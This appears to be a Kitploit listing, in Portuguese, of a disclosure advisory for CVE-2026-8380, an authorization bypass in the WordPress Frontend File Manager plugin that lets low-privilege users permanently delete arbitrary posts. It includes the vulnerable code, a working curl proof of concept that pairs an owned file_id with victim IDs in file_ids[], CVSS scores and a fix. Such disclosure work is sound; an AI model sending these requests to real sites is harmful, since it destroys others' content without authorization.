Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/tiagob0b/cve-2026-8380
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubtiagob0b/cve-2026-8380

CVE-2026-8380

CVE-2026-8380

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-8380

CVE-2026-8380 — Frontend File Manager <= 23.6 Exclusão Arbitrária de Posts

Visão Geral

Uma falha crítica de autorização foi identificada no plugin WordPress Frontend File Manager (nmedia-user-file-uploader) afetando as versões <= 23.6.

A vulnerabilidade permite que usuários autenticados com privilégios baixos excluam permanentemente posts, páginas, anexos e tipos de post personalizados arbitrários do WordPress devido a uma validação de autorização inadequada no endpoint de exclusão AJAX.

Quando a opção do plugin _allow_guest_upload=yes está habilitada, a vulnerabilidade torna-se explorável por atacantes não autenticados.

  • CVE: CVE-2026-8380
  • Plugin: Frontend File Manager (nmedia-user-file-uploader)
  • Versões Afetadas: <= 23.6
  • Pesquisador: Tiago Ferreira
  • CWE: CWE-639 / CWE-862
  • Tipo de Vulnerabilidade: Exclusão Arbitrária de Posts
  • WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

Resumo Executivo

O plugin contém uma vulnerabilidade crítica de bypass de autorização que permite a exclusão arbitrária de conteúdo WordPress devido a uma incompatibilidade de parâmetros na validação dentro da ação AJAX wpfm_delete_file.

A vulnerabilidade foi validada com sucesso em um ambiente de laboratório controlado com exploração ativa de Prova de Conceito.

Fraquezas de segurança adicionais também foram identificadas durante a pesquisa:

  • CSRF em endpoints de atualização de metadados sem validação de nonce
  • Bypass da lista de permissões de extensão baseado apenas na última extensão do arquivo
  • _allow_guest_upload desabilitando verificações de autorização em múltiplos endpoints
  • Rate limiting baseado apenas em REMOTE_ADDR

Endpoint Vulnerável

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=wpfm_delete_file

Arquivo Afetado

root@kitploit:~
inc/files.php

Região do Código Vulnerável

root@kitploit:~
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}

// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
            ? array_map('intval', $_POST['file_ids']) : [];

foreach ($file_ids as $file_id) {
    $file = new WPFM_File($file_id);

    wp_delete_post($file_id, $bypass_trash);
}

Causa Raiz

A verificação de autorização valida a propriedade usando o parâmetro singular:

root@kitploit:~
$_POST['file_id']

No entanto, a operação real de exclusão itera sobre um parâmetro diferente:

root@kitploit:~
$_POST['file_ids[]']

Devido a essa incompatibilidade, um atacante pode:

  1. Fornecer um post legítimo de sua propriedade em file_id
  2. Injetar IDs de posts arbitrários da vítima em file_ids[]

Não existe validação para garantir:

  • a propriedade de cada item em file_ids[]
  • o post_type permitido
  • a relação entre file_id e file_ids[]

Como resultado, conteúdo arbitrário do WordPress pode ser excluído permanentemente.


Impacto

Um usuário autenticado com privilégios mínimos pode excluir permanentemente:

  • Posts
  • Páginas
  • Produtos
  • Anexos
  • Tipos de Post Personalizados
  • Conteúdo específico do plugin

A exclusão é realizada com:

root@kitploit:~
wp_delete_post($file_id, true);

Ou seja, o conteúdo é removido permanentemente sem recuperação pela Lixeira.

Se _allow_guest_upload=yes estiver habilitado:

  • a exploração torna-se não autenticada
  • a verificação de propriedade do autor é completamente ignorada

Prova de Conceito

Ambiente de Laboratório

  • Alvo: 192.168.1.1:8080
  • Papel do Atacante: Assinante
  • Papel da Vítima: Administrador

Conta do Atacante

root@kitploit:~
wpfm_sub : Sub@Test123

Posts da Vítima

root@kitploit:~
Page ID: 60
Post ID: 61

Passo 1 — Obter Nonce

O atacante visita uma página contendo o shortcode:

root@kitploit:~
[ffmwp]

Extraia o nonce:

root@kitploit:~
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce

Resposta:

root@kitploit:~
value="9c233d4720"

Passo 2 — Acionar a Exclusão Arbitrária

root@kitploit:~
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
    --data 'action=wpfm_delete_file' \
    --data 'wpfm_ajax_nonce=9c233d4720' \
    --data 'file_id=57' \
    --data 'file_ids[]=60' \
    --data 'file_ids[]=61'

Explicação

ParâmetroDescrição
file_id=57Post do assinante usado para contornar a autorização
file_ids[]=60Página do administrador vítima
file_ids[]=61Post do administrador vítima

Resposta de Sucesso

root@kitploit:~
{
  "success": true,
  "data": {
    "message": "2 files, directories are removed inside SUB-OWNED"
  }
}

Verificação

root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
root@kitploit:~
404
root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
root@kitploit:~
404

Severidade

Cenário Autenticado

CVSS 3.1

root@kitploit:~
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Cenário com Upload de Convidado Habilitado

CVSS 3.1

root@kitploit:~
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Classificação CWE

  • CWE-639 — Bypass de Autorização Através de Chave Controlada pelo Usuário
  • CWE-862 — Autorização Ausente

Correção Recomendada

Valide a propriedade e o tipo de post para cada entrada em file_ids[].

Exemplo de implementação segura:

root@kitploit:~
foreach ($file_ids as $fid) {

    if ( ! wpfm_is_current_user_post_author($fid) ) {
        wp_send_json_error(...);
    }

    if ( get_post_type($fid) !== 'wpfm-files' ) {
        wp_send_json_error(...);
    }
}

Linha do Tempo

EventoData
Vulnerabilidade Descoberta2026-05-28
Fornecedor Contactado2026-05-28
WPScan Publicado2026-06-04
Divulgação Pública2026-06-18

Referências

  • Aviso do WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-8380


Aviso Legal

Esta pesquisa foi realizada em um ambiente de laboratório controlado apenas para fins educacionais e de pesquisa em segurança.

Não teste sistemas sem a devida autorização.

Baixar ferramenta